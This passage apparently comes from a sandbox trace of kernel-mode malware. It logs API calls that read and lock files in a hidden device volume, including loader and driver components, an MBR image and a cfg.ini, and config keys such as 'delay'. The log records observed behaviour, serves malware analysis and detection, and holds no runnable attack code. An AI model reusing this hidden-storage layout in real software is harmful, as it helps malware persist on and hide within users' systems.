_Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.137] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.138] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.138] KeLeaveCriticalRegion () [0129.138] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.138] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.138] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.138] KeEnterCriticalRegion () [0129.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.138] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.138] IdePortDispatch () returned 0x103 [0129.138] KeWaitForMutexObject () returned 0x0 [0129.138] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.138] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.138] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.138] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.138] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.138] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.138] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.138] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.138] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.138] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.138] KeLeaveCriticalRegion () [0129.139] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.139] ReleaseMutex (hMutex=0x100) returned 1 [0129.139] Sleep (dwMilliseconds=0x2bf20) [0129.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x702d2f70, dwHighDateTime=0x1d24fa4)) [0129.146] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.146] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.146] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.146] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.146] KeEnterCriticalRegion () [0129.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.146] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.146] IdePortDispatch () returned 0x103 [0129.146] KeWaitForMutexObject () returned 0x0 [0129.146] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.146] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.146] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.146] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.146] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.146] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7c10 [0129.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.146] KeLeaveCriticalRegion () [0129.146] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.146] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.146] KeEnterCriticalRegion () [0129.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.146] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.146] KeLeaveCriticalRegion () [0129.146] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.146] KeEnterCriticalRegion () [0129.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.147] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.147] IdePortDispatch () returned 0x103 [0129.147] KeWaitForMutexObject () returned 0x0 [0129.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.147] KeLeaveCriticalRegion () [0129.147] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.147] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.147] KeEnterCriticalRegion () [0129.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba5000 [0129.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.147] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.147] IdePortDispatch () returned 0x103 [0129.147] KeWaitForMutexObject () returned 0x0 [0129.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.147] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.147] IdePortDispatch () returned 0x103 [0129.147] KeWaitForMutexObject () returned 0x0 [0129.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.148] KeLeaveCriticalRegion () [0129.148] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.148] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.148] KeEnterCriticalRegion () [0129.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.148] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.148] KeLeaveCriticalRegion () [0129.148] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.148] KeEnterCriticalRegion () [0129.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.148] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.148] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.148] KeLeaveCriticalRegion () [0129.148] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.148] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.149] KeEnterCriticalRegion () [0129.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.149] ExFreePoolWithTag (P=0xfffffa800c4f7c10, Tag=0x0) [0129.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.149] KeLeaveCriticalRegion () [0129.149] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.149] ReleaseMutex (hMutex=0xf0) returned 1 [0129.149] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.149] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.149] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.149] KeEnterCriticalRegion () [0129.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.149] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.149] IdePortDispatch () returned 0x103 [0129.149] KeWaitForMutexObject () returned 0x0 [0129.149] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.149] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.149] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.149] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.149] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.149] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03dc0 [0129.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.149] KeLeaveCriticalRegion () [0129.149] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.149] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.149] KeEnterCriticalRegion () [0129.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.149] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.150] KeLeaveCriticalRegion () [0129.150] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.150] KeEnterCriticalRegion () [0129.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.150] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.150] IdePortDispatch () returned 0x103 [0129.150] KeWaitForMutexObject () returned 0x0 [0129.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.150] KeLeaveCriticalRegion () [0129.150] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.150] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.150] KeEnterCriticalRegion () [0129.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.150] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba6000 [0129.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.150] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.150] IdePortDispatch () returned 0x103 [0129.150] KeWaitForMutexObject () returned 0x0 [0129.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.151] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.151] IdePortDispatch () returned 0x103 [0129.151] KeWaitForMutexObject () returned 0x0 [0129.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.151] KeLeaveCriticalRegion () [0129.151] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.151] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.151] KeEnterCriticalRegion () [0129.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.151] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.151] KeLeaveCriticalRegion () [0129.151] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.152] KeEnterCriticalRegion () [0129.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.152] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.152] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.152] KeLeaveCriticalRegion () [0129.152] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.152] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.152] KeEnterCriticalRegion () [0129.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.152] ExFreePoolWithTag (P=0xfffffa8003c03dc0, Tag=0x0) [0129.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.152] KeLeaveCriticalRegion () [0129.152] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.152] ReleaseMutex (hMutex=0xf0) returned 1 [0129.152] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.152] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.152] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.152] KeEnterCriticalRegion () [0129.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.152] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.152] IdePortDispatch () returned 0x103 [0129.152] KeWaitForMutexObject () returned 0x0 [0129.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.152] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.152] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.152] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.152] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.152] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1f60 [0129.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.152] KeLeaveCriticalRegion () [0129.153] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.153] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.153] KeEnterCriticalRegion () [0129.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.153] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.153] KeLeaveCriticalRegion () [0129.153] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.153] KeEnterCriticalRegion () [0129.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.153] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.153] IdePortDispatch () returned 0x103 [0129.153] KeWaitForMutexObject () returned 0x0 [0129.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.153] KeLeaveCriticalRegion () [0129.153] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.153] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.153] KeEnterCriticalRegion () [0129.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba7000 [0129.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.153] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.153] IdePortDispatch () returned 0x103 [0129.154] KeWaitForMutexObject () returned 0x0 [0129.154] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.154] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.154] IdePortDispatch () returned 0x103 [0129.154] KeWaitForMutexObject () returned 0x0 [0129.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.154] KeLeaveCriticalRegion () [0129.154] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.154] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.155] KeEnterCriticalRegion () [0129.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.155] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.155] KeLeaveCriticalRegion () [0129.155] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.155] KeEnterCriticalRegion () [0129.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.155] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 